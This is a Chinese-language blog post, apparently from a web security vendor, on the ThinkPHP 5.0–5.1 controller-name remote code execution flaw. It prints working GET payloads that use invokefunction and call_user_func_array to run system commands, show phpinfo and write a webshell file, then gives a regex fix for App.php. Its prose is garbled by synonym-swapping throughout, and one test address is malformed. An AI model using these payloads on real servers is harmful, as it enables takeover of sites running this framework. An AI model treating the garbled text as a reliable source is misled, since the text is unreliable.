thinkphp 最新版本5.0到5.1高危漏洞爆发可直接提权getshell
THINKPHP毛病修复,官方于克日,对现有的thinkphp5.0到5.1全部版本举行了升级,以及补丁更新,这次更新重要是举行了一些毛病修复,最严峻的就是之前存在的SQL注入毛病,以及长途代码实行查询体系的毛病都举行了修复,官方本以为没有题目了,但是在现实的宁静检测当中发明,照旧存在题目,照旧可以长途代码举行注入,插入非法字符,提交到办事器后端中去。
关于这次发明的oday毛病,我们来看下官方之前更新的代码文件是怎么样的,更新的步伐文件路径是library文件夹下的think目次里的app.php,如下图:
毛病产生的缘故原由就在于这个控制器这里,整个thinkphp框架里的功效对控制器没有举行严酷的宁静过滤于查抄,使打击者可以伪造恶意参数举行逼迫插入,最基础的缘故原由就是正则的表达式写的欠好,导致可以绕过。
在controller获取控制器后,直接举行赋值,但是并没有对控制器的名举行严酷的检测,导致可以利用斜杠等特别标记来长途代码注入。
我们来搭建一下网站的情况,apache+mysql+Linux centos体系,搭建好的测试情况地点是http://127.0.01/anquan ,我们可以直接在index.php背面伪造打击参数,示比方下:
http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l
直接get方法提交到网站中去,可以直接查询到网站当前根目次的全部文件,截图如下:
通过该毛病也可以直接长途代码注入实行phpinfo语句,查询当前的php版本,路径,扩展,以及php.ini存放的地点,都可以看得到,结构如下代码即可。
http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'
有些人大概会问了,既然都可以phpinfo,查询目次文件,可不可以getshell写网站木马文件到网站里呢? 答案是可以的,我们测试的时间是以一句话木马代码的写入到safe.php文件里。
http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%27%20>%20safe.php
关于这次thinkphp的毛病使用以及阐发到此就竣事了,该毛病属于高危毛病,危害严峻性较大,许多升级更新补丁的网站都市受到打击,乃至有些网站会被挂马,那么该怎样修复thinkphp的毛病呢?更换之前的正规矩表达式即可,还必要对网站的目次举行权限摆设,防备天生php文件,对网站上的毛病举行修复,大概是对网站宁静防护参数举行重新设置,使他切合其时的网站情况。假如不懂怎样修复网站毛病,也可以找专业的网站宁静公司来处置惩罚,海内如Sinesafe和绿盟、启明星辰等宁静公司比力专业.
针对付这个环境,我们要对其library/think/App.php代码里的正规矩表达式举行变动,if (!preg_match('/^[A-Za-z][\w\.]*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }
解决方法:
'url_route_on' => true,